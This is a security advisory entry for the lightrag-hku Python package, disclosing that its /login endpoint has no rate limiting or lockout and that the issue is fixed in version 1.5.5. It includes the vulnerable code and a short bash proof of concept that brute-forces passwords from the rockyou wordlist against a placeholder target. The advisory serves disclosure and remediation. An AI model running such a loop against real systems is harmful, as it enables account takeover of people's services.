PYSEC-2026-4062

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

En bref

Publiée
Mise à jour
CVE
CVE-2026-85734
Alias
GHSA-frch-4w6v-q5xx
CVSS_V3
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Description

### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed. ### Details ```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ``` A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results. ### PoC ```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ``` ### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Paquets affectés

PaquetVersions
PyPI · lightrag-hkuintroduced 0, fixed 1.5.5

Références

Sources

SourceLicence
OSV.devCC-BY 4.0 — PyPA Advisory Database